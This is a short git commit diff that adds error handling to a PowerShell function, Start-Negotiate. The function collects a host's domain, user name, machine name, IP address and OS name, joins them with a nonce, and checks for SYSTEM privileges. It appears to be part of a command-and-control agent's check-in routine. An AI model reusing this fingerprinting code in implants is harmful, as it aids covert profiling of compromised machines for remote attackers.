readme-wiki
xorrior 2017-12-05 02:47:46 -05:00
parent c5ee1841ed
commit 8862a8328b
1 changed files with 14 additions and 2 deletions

View File

@ -160,14 +160,26 @@ function Start-Negotiate {
# get some basic system information
$i=$nonce+'|'+$s+'|'+[Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
$p=(gwmi Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
try{
$p=(gwmi Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
}
catch {
$p = "[FAILED]"
}
# check if the IP is a string or the [IPv4,IPv6] array
$ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6];
if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'};
$i+="|$ip";
$i+='|'+(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];
try{
$i+='|'+(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];
}
catch{
$i+='|'+'[FAILED]'
}
# detect if we're SYSTEM or otherwise high-integrity
if(([Environment]::UserName).ToLower() -eq "system"){$i+="|True"}